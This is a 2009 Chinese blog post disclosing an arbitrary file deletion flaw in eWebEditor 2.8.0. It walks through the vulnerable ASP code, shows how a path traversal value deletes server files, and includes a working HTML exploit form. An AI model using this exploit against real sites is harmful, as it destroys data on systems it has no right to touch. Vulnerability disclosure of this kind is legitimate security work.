Ewebeditor2.8.0最终版删除任意文件漏洞
作者:oldjun 来源:oldjun.com 发布时间:2009-02-17 12:16:00
这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE><style>body,p,td,input {font-size:9pt}</style></HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a><b>增加新闻</b><form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"method="post" name="myform"><input type=hidden name=d_originalfilename><input type=hidden name=d_savefilename><table cellspacing=3 align=center><tr><td>要删的文件(相对路径就可以了):</td><td><input type="text" name="d_savepathfilename" value="" size="90"></td></tr><tr><td>新闻标题(随便填):</td><td><input type="text" name="d_title" value="" size="90"></td></tr><tr><td>标题图片:</td><td><select name="d_picture" size=1><option value=''>无</option></select>当编辑区有插入图片时,将自动填充此下拉框</td></tr><tr><td>新闻内容(随便填):</td><td><textarea name="d_content"></textarea></td></tr></table><input type=submit name=btnSubmit value=" 提 交 "><input type=reset name=btnReset value=" 重 填 "></form></BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!


猜你喜欢
- 标签做为SEO中最普及的优化手段,在SEO被人们认识的初期,站长因此项设置而明显改善了网站的搜索引擎排名大为兴奋。但随着黑帽SEO的发展,搜
- 昨日一则关于Google今日要举办特别发布会的报道在业内大肆流传,据报道,Google要在今日下午举办的“Front E
- 淘宝推出B2C的淘宝商城已经有一段日子了,现在可能不少人在“淘宝”的同时也会偶尔到淘宝商城去逛逛。我们注意到淘宝商城跟淘宝个人网
- 第一次看到这句话时,是在一个网站上,那时,我还是一个纯粹的网民,只会在网上查查资料、打打游戏之类的东西。那几个字是书法字体,制作成一个GIF
- Alexa 排名对于每个建站的朋友来说都不陌生了,它是目前常用来评价某一网站访问量的一个重要指标。虽然人们对他的算法颇有责疑(它只对安装了&
- 0.前言之前在学springcloud的时候,提到有些项目还是使用zookeeper作为注册中心。因此决定掌握这个技能,但是本地为了测试而部
- 本文适用于学习服务器知识所讲述的如何在virtualbox上安装centos。准备已经安装好的virtualbox虚拟机已经下载好的cent
- CentOS 6.x最新版本为CentOS 6.6,下面介绍CentOS 6.6的具体安装配置过程,需要的朋友可以参考下说明:Centos6
- IDC首席分析师预计到2012年,美国云计算总开支将达到400亿美元,是2008年的3倍。面对这个巨大的利益诱惑,谷歌等IT企业早已跃跃欲试
- 阅读上一篇:一个完美网站的101项指标 第五部分.安全性 网站的性能关乎用户访问体验,让网站支撑更多用户,让每个用户的等待时间更短是我们的目
- 想查看最近有哪些好莱坞大片要上映吗?想要查看电影的主角及导演吗?想要浏览电影的剧情简介吗?想要观看高清的预告片来决定是否提前买首映票吗?那么
- 前言最近在笔记本装了一个centos,想要让别人也可以登录访问,用自己的账号确实不太好,于是准备新建一个用户给他。发现网站这方便的资料比较少
- 前言项目需要:安装Dockeridea中安装docker插件,并配置docker一个SpringBoot项目创建Dockerfile一、下载
- 中秋节就快到了,提前祝各位站长节日快乐,站站顺利!如何利用中秋节推广网站,下面几条可能有点帮助,希望能为大家抛砖引玉。。带来流量上的提升。一
- 外链在SEO优化中占有很重要的地位,但是外链应该重质还是量?Google关键词排名分析从Google查看关键词“租车”排名(2010.01.
- 相信不少站长都听说过站长世界webmasterworld.com(也有的是翻为网管世界)这个论坛。这是世界上最著名的站长们聚集的地方,谈论各
- 金秋十月,首届派代电子商务年会将在上海盛大开启,500多位知名网商高层会齐聚一堂,淘宝、拍拍、有啊、京东、新蛋全球、6688、红孩子、van
- 做网络推广几年了,天天在几个站长站潜水,文章天天看但基本没写过,总觉得说来说去就那么些东西。前段时间研究了下Twitter类网站,Twitt
- 一个好的站点 不单单是只注重IP 整日话不离口的问 你今日IP多少 你最近IP多少作为站点也是 不单单要看你的IP多少 来路 更重要的是 如
- WordPress是一款成熟的开源CMS平台,新推出的2.9版本依然保持了以往良好的口碑。这篇文章从WordPress 2.9的codex文